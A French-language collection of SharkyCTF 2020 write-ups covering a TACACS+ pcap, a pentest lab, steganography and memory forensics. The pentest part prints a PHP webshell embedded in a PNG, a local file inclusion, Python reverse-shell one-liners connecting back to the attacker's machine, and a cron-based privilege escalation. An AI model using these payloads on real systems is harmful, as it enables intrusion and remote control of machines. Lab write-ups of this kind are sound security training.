Write UP SharkyCTF 2020
Quelques WU du sharkyCTF organisé par ENSIBS
Note : Nous avions organisé un CTF pour l'ENI avec certains potes, nous avons donc participé a sharkyCTF avec notre team d'orga + certains stagiaires ENI
Les WU ne sont pas tous disponibles ici, vous pourrez en retrouver une autre partie ici https://linuxtrack.net/
RattataTACACS - NETWORK (195 pts)
Silence is gold. I listen to every move on this network. And I think I got something interesting.
Creator : MrErne / Nofix
Une capture pcap nous est fournit, elle contient principalement du TFTP et du TACACS
tshark -r Chall.pcap
...
17 129.998468 cc:01:05:f8:00:00 → cc:01:05:f8:00:00 LOOP 60 Reply
18 139.996021 cc:01:05:f8:00:00 → cc:01:05:f8:00:00 LOOP 60 Reply
19 147.904657 192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [SYN] Seq=0 Win=4128 Len=0 MSS=1460
20 147.904787 192.168.1.100 → 192.168.1.1 TCP 58 49 → 58544 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
21 147.915624 192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [ACK] Seq=1 Ack=1 Win=4128 Len=0
22 147.915816 192.168.1.1 → 192.168.1.100 TACACS+ 94 Q: Authentication
23 147.915882 192.168.1.100 → 192.168.1.1 TCP 54 49 → 58544 [ACK] Seq=1 Ack=41 Win=64200 Len=0
24 147.916018 192.168.1.100 → 192.168.1.1 TACACS+ 82 R: Authentication
25 148.124151 192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [ACK] Seq=41 Ack=29 Win=4100 Len=0
26 150.006205 cc:01:05:f8:00:00 → cc:01:05:f8:00:00 LOOP 60 Reply
27 151.529978 192.168.1.1 → 192.168.1.100 TACACS+ 99 Q: Authentication
28 151.533619 192.168.1.100 → 192.168.1.1 TCP 54 49 → 58544 [ACK] Seq=29 Ack=86 Win=64155 Len=0
29 151.533635 192.168.1.100 → 192.168.1.1 TACACS+ 72 R: Authentication
30 151.533638 192.168.1.100 → 192.168.1.1 TCP 54 49 → 58544 [FIN, ACK] Seq=47 Ack=86 Win=64155 Len=0
31 151.540949 192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [ACK] Seq=86 Ack=48 Win=4082 Len=0
32 151.541008 192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [FIN, PSH, ACK] Seq=86 Ack=48 Win=4082 Len=0
33 151.541071 192.168.1.100 → 192.168.1.1 TCP 54 49 → 58544 [ACK] Seq=48 Ack=87 Win=64155 Len=0
34 151.562942 192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [SYN] Seq=0 Win=4128 Len=0 MSS=1460
35 151.563096 192.168.1.100 → 192.168.1.1 TCP 58 49 → 40292 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
36 151.573923 192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [ACK] Seq=1 Ack=1 Win=4128 Len=0
37 151.574099 192.168.1.1 → 192.168.1.100 TACACS+ 113 Q: Authorization
38 151.574182 192.168.1.100 → 192.168.1.1 TCP 54 49 → 40292 [ACK] Seq=1 Ack=60 Win=64181 Len=0
39 151.574397 192.168.1.100 → 192.168.1.1 TACACS+ 96 R: Authorization
40 151.574405 192.168.1.100 → 192.168.1.1 TCP 54 49 → 40292 [FIN, ACK] Seq=43 Ack=60 Win=64181 Len=0
41 151.584906 192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [ACK] Seq=60 Ack=44 Win=4086 Len=0
42 151.584983 192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [FIN, PSH, ACK] Seq=60 Ack=44 Win=4086 Len=0
43 151.585060 192.168.1.100 → 192.168.1.1 TCP 54 49 → 40292 [ACK] Seq=44 Ack=61 Win=64181 Len=0
44 2120.055451 cc:01:05:f8:00:01 → cc:01:05:f8:00:01 LOOP 60 Reply
45 2121.117875 cc:02:09:b6:00:00 → cc:02:09:b6:00:00 LOOP 60 Reply
46 2130.049937 cc:01:05:f8:00:01 → cc:01:05:f8:00:01 LOOP 60 Reply
47 2131.036962 cc:01:05:f8:00:01 → Broadcast ARP 60 Gratuitous ARP for 10.1.1.1 (Reply)
48 2131.036999 10.1.1.1 → 10.1.1.2 TFTP 60 Read Request, File: R1config, Transfer type: octet
49 2131.048047 10.1.1.2 → 10.1.1.1 TFTP 558 Data Packet, Block: 1
50 2131.057194 10.1.1.1 → 10.1.1.2 TFTP 60 Acknowledgement, Block: 1
51 2131.058132 10.1.1.2 → 10.1.1.1 TFTP 558 Data Packet, Block: 2
52 2131.067278 10.1.1.1 → 10.1.1.2 TFTP 60 Acknowledgement, Block: 2
...
Via un strings dessus, on obtient les commandes executés en clair (via tftp) et la configuration du TACACS
strings Chall.pcap
....
ip admission max-nodata-conns 3
username cisco password 7 05080F1C2243
ip tcp synwait-time 5
ip ssh time-out 60
ip ssh logging events
ip ssh version 2
interface Loopback0
ip address 172.16.1.1 255.255.255.255
interface FastEthernet0/0
ip add
ress 192.168.1.1 255.255.255.0
duplex auto
speed auto
interface FastEthernet0/1
ip address 10.1.1.1 255.255.255.0
duplex auto
speed auto
no ip http server
no ip http secure-server
ip forward-protocol nd
ip tacacs source-interface FastEthernet0/0
no cdp log mismatch duplex
tacacs-server host 192.168.1.100 key 7 0325612F2835701E1D5D3F2033
control-plane
line con 0
...
on décrypte la clef chiffrée 0325612F2835701E1D5D3F2033 via http://www.firewall.cx/cisco-technical-knowledgebase/cisco-routers/358-cisco-type7-password-crack.html qui donne en clair AZDNZ1234FED
via Préférences -> TACACS+ en ajoutant la clef le TACACS passe en clair et l'on obtient le flag
Flag : shkCTF{T4c4c5_ch4ll3n63-br0}
PENTEST (1) / (2) - NETWORKS (300pts / 150 pts)
You've found the website of a web designer, you know, the kind of guy that tells you "You can't hack me, and even if you do, what's the point?". It might be a good target to practice your pentesting skills!
There are two flags in this challenge, the first one is located in the home directory of the user, the second one is in the root directory.
Creator: Magnussen
Pour ce challenge, un fichier openvpn nous est fournit, il s'agit d'un serveur/infrastructure à rooter
En se connectant, nous sommes sur un réseau 172.30.0.14/28, un scan de port permet d'identifier la cible
nmap 172.30.0.14/28 -p- -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:7a:34:83:7e:5a:19:53:ff:b8:5a:69:a8:e9:6c:a8 (RSA)
| 256 ab:89:de:dc:5e:b9:ad:83:1c:58:33:be:12:d2:ca:b5 (ECDSA)
|_ 256 f1:fb:b4:76:b0:40:60:e7:29:32:4b:f4:8a:08:8e:21 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Michael's Life
1756/tcp filtered capfast-lmd
2706/tcp filtered ncdmirroring
5332/tcp filtered unknown
6167/tcp filtered unknown
24967/tcp filtered unknown
26476/tcp filtered unknown
28438/tcp filtered unknown
45998/tcp filtered unknown
49103/tcp filtered unknown
49863/tcp filtered unknown
50178/tcp filtered unknown
57845/tcp filtered unknown
MAC Address: 02:42:BB:EC:A2:27 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Un service web tourne sur l'IP 172.30.0.2, on lance une reconnaissance de l'arborescence
dirb http://172.30.0.2/
-----------------
---- Scanning URL: http://172.30.0.2/ ----
==> DIRECTORY: http://172.30.0.2/admin/
==> DIRECTORY: http://172.30.0.2/blog/
==> DIRECTORY: http://172.30.0.2/css/
==> DIRECTORY: http://172.30.0.2/errors/
==> DIRECTORY: http://172.30.0.2/img/
+ http://172.30.0.2/index.html (CODE:200|SIZE:4089)
==> DIRECTORY: http://172.30.0.2/js/
+ http://172.30.0.2/server-status (CODE:403|SIZE:2382)
---- Entering directory: http://172.30.0.2/admin/ ----
+ http://172.30.0.2/admin/index.php (CODE:200|SIZE:2928)
---- Entering directory: http://172.30.0.2/blog/ ----
==> DIRECTORY: http://172.30.0.2/blog/uploads/
---- Entering directory: http://172.30.0.2/css/ ----
---- Entering directory: http://172.30.0.2/errors/ ----
---- Entering directory: http://172.30.0.2/img/ ----
==> DIRECTORY: http://172.30.0.2/img/blog/
---- Entering directory: http://172.30.0.2/js/ ----
---- Entering directory: http://172.30.0.2/blog/uploads/ ----
---- Entering directory: http://172.30.0.2/img/blog/ ----
Le site semble être léger, pas de grosse usine à gaz derrière, on y remarque un lien pointant vers le code source sur github
NOTE : Il y eut un port 3000 ouvert qui exposait le code source via un git en local, celui-ci fut reporté sur https://github.com/Michael-SharkyMaster/website après une maintenance du challenge
En téléchargeant et analysant le code source, on possède désormais l'arborescence
tree website
├── admin
│ ├── forgot.php
│ ├── index.php
│ ├── login.php
│ ├── png_upload.php
│ ├── result.php
│ ├── style.css
│ └── upload.php
├── blog
│ ├── blog_1.html
│ ├── blog_2.html
│ ├── blog_3.html
│ ├── blog_4.html
│ ├── blog_5.html
│ ├── blog_6.html
│ └── uploads
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ └── 7.png
├── blog.html
├── blog.php
├── css
│ ├── bootstrap.min.css
│ ├── font-awesome.min.css
│ ├── magnific-popup.css
│ ├── owl.carousel.min.css
│ ├── slicknav.min.css
│ └── style.css
├── errors
│ ├── 403.html
│ ├── 404.html
│ └── 500.html
├── icon-fonts
│ ├── fontawesome-webfont.eot
│ ├── fontawesome-webfont.svg
│ ├── fontawesome-webfont.woff
│ └── fontawesome-webfont.woff2
├── img
│ ├── blog
│ │ ├── 1.png
│ │ ├── 2.png
│ │ ├── 3.png
│ │ ├── 4.png
│ │ ├── 5.png
│ │ └── 6.png
│ ├── galery
│ │ ├── 1.png
│ │ ├── 2.png
│ │ ├── 3.png
│ │ ├── 4.png
│ │ ├── 5.png
│ │ ├── 6.png
│ │ └── 7.png
│ └── logo.png
├── index.html
└── js
├── bootstrap.min.js
├── circle-progress.min.js
├── instafeed.min.js
├── jquery-3.2.1.min.js
├── jquery.magnific-popup.min.js
├── jquery.slicknav.min.js
├── main.js
├── masonry.pkgd.min.js
├── mixitup.min.js
└── owl.carousel.min.js
On y remarque également plusieurs vulnérabilités potentielles :
<?php
if ((isset($_POST['login']) && isset($_POST['password'])) || isset($_POST['secret_question']))
{
$result = 'This feature is currently disabled.';
if (isset($_POST['login']) && isset($_POST['password']))
{
if ($_POST['login'] === 'Michael' && $_POST['password'] === str_replace(array("\n", "\r", " "), '', file_get_contents('creds.txt'))) {
// $_COOKIE['username'] = $_POST['login'];
// $_COOKIE['password'] = $_POST['password'];
//
// $result = "Successfully Login!\n";
}
else {
$result = "Wrong Username/Password\n";
}
}
else {
if ($_POST['secret_question'] !== 'Badger')
{
$result = "Wrong anwser\n";
}
else {
// Todo: Reset password and configure sending email
}
}
}
?>
Le fichier /admin/creds.txt donne visiblement le mot de passe
curl http://172.30.0.2/admin/creds.txt
Badger1992
Malgré l'authentification, aucun menu d'administration n'est disponible, en regardant d'autres fichiers source code, une fonction semble interessante: admin/png_upload.php
<?php
if (isset($_COOKIE['username']) && isset($_COOKIE['password']) && $_COOKIE['username'] == 'Michael' && $_COOKIE['password'] === str_replace(array("\n", "\r", " "), '', file_get_contents('creds.txt'))) {
$size = array(
"width" => 32,
"height" => 32
);
$dir = "../blog/uploads/";
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === 0) {
$check = getimagesize($_FILES["upload"]["tmp_name"]);
$file_extension = pathinfo($_FILES["upload"]["name"], PATHINFO_EXTENSION);
if (!file_exists($_FILES["upload"]["tmp_name"])) {
$response = array(
"type" => "error",
"message" => "Choose image file to upload."
);
}
else if ($file_extension !== "png") {
$response = array(
"type" => "error",
"message" => "Upload valid images. Only PNG and JPEG are allowed."
);
}
else if (($_FILES["upload"]["size"] > 2000000)) {
$response = array(
"type" => "error",
"message" => "Image size exceeds 2MB"
);
}
else if ($check['mime'] !== "image/png")
{
$response = array(
"type" => "error",
"message" => "Invalid mimetype"
);
}
else {
$target = imagecreatetruecolor($size['width'], $size['height']);
imagecopyresampled($target, imagecreatefromstring(file_get_contents($_FILES["upload"]["tmp_name"])), 0, 0, 0, 0, $size['width'], $size['height'], $check[0], $check[1]);
if (imagepng($target, $dir.basename($_FILES["upload"]["name"]))) {
$response = array(
"type" => "success",
"message" => "Image uploaded successfully."
);
} else {
$response = array(
"type" => "error",
"message" => "Problem in uploading image files."
);
}
}
}
else {
$response = array(
"type" => "error",
"message" => "No file provided."
);
}
echo $response['type'].": ".$response['message'];
}
else {
echo 'Invalid Credentials.';
}
?>
Il est visiblement possible d'uploader des fichiers avec le cookie administrateur
On ajoute les cookie au navigateur pour pouvoir naviguer dans l'appli en tant qu'admin
Puis en accédant à 172.30.0.2/admin/upload.php
Après avoir testé d'uploader plusieurs payloads PHP dans l'espoir d'obtenir un reverse shell, WALOU
- le .png en fin de fichier est obligatoire
- Le type mime est contrôlé coté serveur
- Le null Bytes ne passe pas
Après avoir uploadé un PNG, on constate qu'une réécriture du fichier est faite pour le formater en 32x32, ce qui nous fait penser aux payloads cachés dans les chunk IDAT des fichiers PNG (https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
Via un script récupéré sur https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload Insecure Files/Picture Metadata, on se forge un PNG malicieux contenant notre webshell
python epxloit_build.py
[+] Advanced Upload - Shell inside metadatas of a PNG file
- Creating a payload.png
Done
root@KaliLinux:~/Bureau# strings payload.png
IHDR
"tEXtshell
<?php system($_GET['c']); ?>
IDATx
IEND
En rééssayant l'upload, IT WORK ! Cependant l'extension étant du PNG le serveur n'interprete pas notre code
Evidemment impossible de l'envoyer en .php, il nous reste une seule option, trouver une LFI
En recherchant sur l'application, on remarque que l'URL http://172.30.0.2/blog.php?article=1 ressemble à une potentielle LFI
Essayons cela
Il y a une vérification et sanitization sur l'entrée ['article'], en analysant le codesource de cette page on constate qu'il y a deux moyen pour inclure des fichiers :
<?php
if (isset($_GET['article']))
{
$file = str_replace('../', '', $_GET['article']);
if (is_numeric($file))
$file = 'blog_'.$file.'.html';
if (strpos($file, 'blog_') !== false && strpos($file, 'html') !== false) {
include(dirname(__FILE__).'/blog/'.$file);
}
else {
echo 'Invalid Format';
}
}
else
{
include(dirname(__FILE__).'/blog.html');
}
?>
Ce qui veut dire (En gros) :
Si c'est numérique (article=1,2,3,...) le fichier inclut sera blog_$num.html
OU
Si c'est avec des arguments positionnés : blog_ + html
Donc si l'on veut inclure notre PNG malicieux, il doit au moins commencer avec le nommage suivant
chiffre.html
Essayons en re-uploadant notre payload en 6.html.png
OK, il est bien la si on l'inclut avec blog.php?article=uploads/blog_notrefichier
IT WORK ! essayons d'exécuter nos commandes distantes
wget "http://172.30.0.2/blog.php?article=uploads/blog_6.html.png&0=shell_exec" --post-data "1=id"
�PNG
▒
IHDR �▒�� pHYs���+IDATH�c\uid=33(www-data) gid=33(www-data) groups=33(www-data)
X����s^7�����~_�}�'���ɿ_�|�00cٹg��=2��Q0
F�(▒�`��Q0
��
YEAAAAH ! Maintenant, obtenons un reverse shell
wget "http://172.30.0.2/blog.php?article=uploads/blog_6.html.png&0=shell_exec" --post-data "1=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.30.0.14",667));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"
Sur notre machine
root@KaliLinux:~# nc -lvp 666
listening on [any] 666 ...
172.30.0.2: inverse host lookup failed: Unknown host
connect to [172.30.0.14] from (UNKNOWN) [172.30.0.2] 48422
www-data@6d2a51b5a0cc:~$ id
id
www-data=33(www-data) gid=33(www-data)
BINGO, on a un accès shell, pour accéder au flag, le challenge nous précise qu'il faut accéder au /home de l'user
ls -l /home/
total 4
drwxr-x--- 1 git git 4096 May 9 23:16 git
L'utilisateur est git et nous n'avons pas les droits pour accéder à son home, pas le choix il faudra réussir à obtenir l'accès à sa session
En fouillant un peu sur les basique (sudo, cron, SUID, ...) rien, en lisant un peu de doc sur git shell et en cherchant des fichiers en rapport avec git on tome sur /etc/gitea/app.ini
cat /etc/gitea/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_USER = git
RUN_PASSWD = B33r_Bamboo_Michael
RUN_MODE = prod
[oauth2]
JWT_SECRET = oUqiXymhOjxmvtHWNYVilt4QNWMvLGVwDd3V_CnYqsk
[security]
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE1ODY4Nzk4NzZ9.UAB_BOzaC0N3jz_t1prqY_Ipo1neSs7pxqnxnO8f1XA
INSTALL_LOCK = true
SECRET_KEY = LJlnrqXYDJEstw7sZbu9R9EQzHisotxe3br8TYwnIsr8qzkWHp1tfOgy8p7lRvR0
....
BINGO ! le mot de passe de git, en se connectant via ssh et en ouvrant le user.txt dans le /home/git
git@6d2a51b5a0cc:~$ cat user.txt
shkCTF{juSt_h4v3_t0_pr1v3sc_n0w_6bb4369a853e943339aab363e22869cd}
Premier flag ! pour le deuxième il faudra devenir root
Après recherche aucun exploit qui fonctionne selon notre contexte sur le kernel, regardons ce qui tourne sur le serveur
Pour automatiser l'énumération LinEnum.sh a été utile https://github.com/rebootuser/LinEnum
./LinEnum.sh -r report -e /tmp
.....
### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw-r--r-- 1 root root 722 Apr 5 2016 /etc/crontab
/etc/cron.d:
total 24
drwxr-xr-x 1 root root 4096 May 9 17:57 .
drwxr-xr-x 1 root root 4096 May 9 17:57 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rw-r--r-- 1 root root 204 May 9 17:57 backup
-rw-r--r-- 1 root root 670 Jun 22 2017 php
/etc/cron.daily:
total 32
drwxr-xr-x 1 root root 4096 May 9 16:33 .
drwxr-xr-x 1 root root 4096 May 9 17:57 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rwxr-xr-x 1 root root 539 Jun 11 2018 apache2
-rwxr-xr-x 1 root root 1474 May 7 2019 apt-compat
-rwxr-xr-x 1 root root 1597 Nov 26 2015 dpkg
-rwxr-xr-x 1 root root 249 Nov 12 2015 passwd
/etc/cron.hourly:
total 16
drwxr-xr-x 2 root root 4096 May 9 16:32 .
drwxr-xr-x 1 root root 4096 May 9 17:57 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
/etc/cron.monthly:
total 16
drwxr-xr-x 2 root root 4096 May 9 16:32 .
drwxr-xr-x 1 root root 4096 May 9 17:57 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
/etc/cron.weekly:
total 20
drwxr-xr-x 1 root root 4096 May 9 16:32 .
drwxr-xr-x 1 root root 4096 May 9 17:57 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rwxr-xr-x 1 root root 210 Jan 27 14:27 fstrim
....
On constate que des jobs cron tournent et sous root, le cron backup attire notre attention
cat /etc/cron.d/backup
SHELL=/bin/bash
* * * * * /usr/bin/python -c "import backup;backup.backup('/var/www/html/blog', '/var/www/html/52e8b95db9d298bd03741e99abe57c8c1ff1fbd80bd94c366a7574baac7b1180/backup.zip').run()" 2>&1
#
Celui-ci lance un script python qui sauvegarde l'appli toute les minutes et ... Surprise la class python utilisé est en écriture pour git
ls -l /etc/python2.7/*
-rw-r--r-- 1 root root 0 May 9 17:33 /etc/python2.7/__init__.py
-rwxrw---- 1 root git 573 May 9 22:07 /etc/python2.7/backup.py
-rw-r----- 1 root root 1230 May 9 22:08 /etc/python2.7/backup.pyc
-rw-r--r-- 1 root root 155 Apr 17 17:42 /etc/python2.7/sitecustomize.py
-rw-r--r-- 1 root root 228 May 9 17:58 /etc/python2.7/sitecustomize.pyc
Si on ajoute un payload python pour obtenir un reverse shell à cette class nous obtiendrons un shell root
import os
import zipfile
import socket #Ajouter
import subprocess #Ajouter
class backup():
def __init__(self, folder_in, folder_out):
self.__folder_in = folder_in
self.__zip_out = folder_out
self.__zipf = zipfile.ZipFile(self.__zip_out, 'w', zipfile.ZIP_DEFLATED)
def __zipdir(self, ziph):
for root, dirs, files in os.walk(self.__folder_in):
for file in files:
self.__zipf.write(os.path.join(root, file))
def run(self):
self.__zipdir(self.__zipf)
self.__zipf.close()
####Ajouter
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.30.0.14",667))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
Lorsqu'on obtient la connexion :
root@6d2a51b5a0cc:~# cat root.txt
GG! Hope you liked this challenge, don't hesitate to DM me @_magnussen_ on Twitter to tell me what you thought about it.
shkCTF{w0w_y0u'r3_4_Tru3_h4ck3r_b4c2679666641be61feb6919e83f2777}
Flag : shkCTF{w0w_y0u'r3_4_Tru3_h4ck3r_b4c2679666641be61feb6919e83f2777}
Mention spécial à notre presque TOP 3 sur le podium des solves (FlagOver.beer)
Basic LSB - (Steganography 50 pts)
« I intercepted an image in the communication of 2 sharkies from a shark gang. Those sharks knew I was listening and they hid a message in this image.
Do you think you can do something about it?
Creator: Fratso »
Une image nous est fournit
Bon, ça a l’air assez évident que c’est du LSB.
Je fais appel à notre CyberChef préféré avec l’option Extract LSB.
En jouant avec les valeurs de R-G-B, on tombe rapidement sur un joli texte :
« Well done, you managed to use the classic LSB method. Now you know that there's nothing in the sea this fish would fear. Other fish run from bigger things. That's their instinct. But this fish doesn't run from anything. He doesn't fear. Here is your flag: shkCTF{Y0u_foUnD_m3_thr0ugH_LSB_6a5e99dfacf793e27a} »
FLAG : shkCTF{Y0u_foUnD_m3_thr0ugH_LSB_6a5e99dfacf793e27a}
Challenge & WU fait par FunkyUFO
Romance Down - (Forensics 82pts)
“Whoops. It seems Luffy played with my picture and I'm not able to open it anymore. Please help me. »
Un fichier 7uffy.png nous est donné, mais impossible à ouvrir. Le flag est donc probablement sur l’image, à nous de la réparer !
Quelques vérifications de base pour commencer :
file 7uffy.png
7uffy.png: PNG image data, 1113 x 885, 8-bit/color RGBA, non-interlaced
Le fichier est bien un PNG, je vérifie si le header est bien le bon :
hd 7uffy.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 04 59 00 00 03 75 08 06 00 00 00 a4 54 24 |...Y...u......T$|
00000020 fd 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 |.....bKGD.......|
00000030 43 bb 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 |C......pHYs.....|
00000040 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 |............tIME|
....
On a les bonnes valeurs de header, le problème doit être ailleurs.
On continue un peu l’enquête :
pngcheck -v 7uffy.png
File: 7uffy.png (27352 bytes)
chunk IHDR at offset 0x0000c, length 13
1113 x 885 image, 32-bit RGB+alpha, non-interlaced
chunk bKGD at offset 0x00025, length 6
red = 0x0000, green = 0x0000, blue = 0x0000
chunk pHYs at offset 0x00037, length 9: 2835x2835 pixels/meter (72 dpi)
chunk tIME at offset 0x0004c, length 7: 26 Mar 2020 00:45:09 UTC
chunk iTXt at offset 0x0005f, length 29, keyword: Comment
uncompressed, no language tag
no translated keyword, 18 bytes of UTF-8 text
chunk EASY at offset 0x00088, length 8192: illegal (unless recently approved) unknown, public chunk
ERRORS DETECTED in 7uffy.png
Après quelques recherches, je vois bien le chunk EASY n’existe pas, il faudra donc probablement le modifier / supprimer.
J’utilise l’outil TweakPNG sur Windows pour voir l’intégralité des chunks et je tombe sur une erreur qui confirme ma pensée :
Une fois ces messages d’erreurs passées, on voit la structure du fichier et tout devient clair :
Il n’y a aucun bloc IDAT dans notre PNG. Ce type de bloc contient les données de l’image et est obligatoire.
Je reprends donc hexeditor et je remplace les 4 occurrences EASY par la valeur hexadécimale :
On vérifie que tout est bien corrigé :
pngcheck 7uffy.png
OK: 7uffy.png (1113x885, 32-bit RGB+alpha, non-interlaced, 99.3%).
FLAG : shkCTF{7uffy_1s_pr0ud_0f_y0u_0a2a9795f0bdf8d17e4}
Challenge & WU fait par FunkyUFO
Pain in the ass - (Forensics 181 pts)
“It looks like someone dumped our database. Please help us know what has been leaked ...”
Une capture Wireshark nous est fournie.
En examinant les paquets PGSQL, on remarque rapidement des chaînes de caractère familières :
SELECT 0.Z....IQ....SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),2,1) = '3' and '1';.T...<..username...@............h..password...@............h..D...,.....
USER-ALPHA....th3_fl4g_1s_n0t_h3r3D...+..... USER-BETA....h3r3_1s_n0t_th3_fl4gD.../.....
USER-GAMMA....l00k1ng_f0r_34sy_p01ntsD.........
USER-DELTA....3rr0r_b4s3d_1s_s0_34syC...
Evidemment, rien de tout ça ne donne de flag, il va falloir chercher un peu plus.
On remarque 2 choses :
- Plusieurs requêtes SQL sont faites en testant toutes les lettres/chiffres/caractères spéciaux.
- Le texte apparaît plusieurs fois.
Je décide donc de noter les caractères des requêtes sous lesquelles notre texte apparaît et j’obtiens :
k3vin shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}
FLAG : shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}
Challenge & WU fait par FunkyUFO
EZDUMP Build ME - Forensic 298 pts
There is a command containing a strange message in the bash history, will you be able to read it ?
This challenge is in 7 steps (1 flag per step), if the flag you found doesn't work it likely belong to another step :-)
You have to build the volatility profile.
Creator: 2phi
Un dump mémoire nous est fournit avec un strings dedans on constate une Centos 7 - 3.10.0-1062
Après avoir install une Centos, on installe le kernel souhaite ( 3.10.0-1062 ) et les outil de build :
#Dans la VM Centos
wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-devel-3.10.0-1062.el7.x86_64.rpm
wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-headers-3.10.0-1062.el7.x86_64.rpm
wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-3.10.0-1062.el7.x86_64.rpm
wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-tools-3.10.0-1062.el7.x86_64.rpm
yum install *.rpm
yum install epel-release
yum install build-essential dwarfdump zip elfutils-libelf-devel gcc libdwarf-tools-20130207-4.el7.x86_64
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility/
chmod +x vol.py
cd tools/linux/
make
zip Centos7.3.10.1062.zip module.dwarf /boot/System.map-3.10.0-1062.el7.x86_64
On récupère le profil puis on l'installe dans notre dossier volatility
cd /home/monpost/CTF/tools/volatility/volatility/plugins/overlays/linux/
cp -a ~penthium2/Centos7.3.10.1062.zip .
récupération de l'historique de bash :
volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_bash > linux_bash
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
2622 bash 2020-05-07 14:56:16 UTC+0000 cd Documents/
2622 bash 2020-05-07 14:56:17 UTC+0000 echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" > y0ush0uldr34dth1s.txt
2622 bash 2020-05-07 14:56:25 UTC+0000 git clone https://github.com/tw0phi/PythonBackup
2622 bash 2020-05-07 14:56:28 UTC+0000 cd PythonBackup/
2622 bash 2020-05-07 14:56:33 UTC+0000 unzip PythonBackup.zip
2622 bash 2020-05-07 14:56:37 UTC+0000 python PythonBackup.py
2622 bash 2020-05-07 14:56:40 UTC+0000 sudo python PythonBackup.py
2622 bash 2020-05-07 14:57:05 UTC+0000 cooooooooooooooooooooooooool
2622 bash 2020-05-07 15:00:12 UTC+0000 cd
2622 bash 2020-05-07 15:00:15 UTC+0000 git clone https://github.com/504ensicsLabs/LiME
2622 bash 2020-05-07 15:00:19 UTC+0000 cd LiME/src/
2622 bash 2020-05-07 15:00:24 UTC+0000 make
2622 bash 2020-05-07 15:00:37 UTC+0000 sudo insmod lime-3.10.0-1062.el7.x86_64.ko "path=/Linux64.mem format=lime"
2887 bash 2020-05-07 14:59:42 UTC+0000 vim /etc/rc.local
Un base64, si on le décode
echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" | base64 -d
FLAG : shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}
Flag : shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}
Solved by Penthium2
EzDump Starting Block - (Forensic 100 pts)
Our SOC took contact with us because a suspicious process appeared in the logs. Could you investigate ?
Please retrieve :PID of this suspicious process
Process name
Time of the launching
Flag : shkCTF{pid:name:yyyy-mm-jj hh:mm:ss}Be carefull you only have 10 attempts.
The dump is the same as the one from EzDump - Build me.
Creator: 2phi
Ncat est très souvent utilisé pour faire des backdoor (le chall Entry point confirmera notre pensée)
volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_netstat > linux_netstat
TCP 192.168.49.135 :12345 192.168.49.1 :44122 ESTABLISHED ncat/2854
volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_pslist > linux_pslist
0xffff9f60b64f5230 ncat 2854 1 0 0 0x0000000033e20000 2020-05-07 14:56:54 UTC+0000
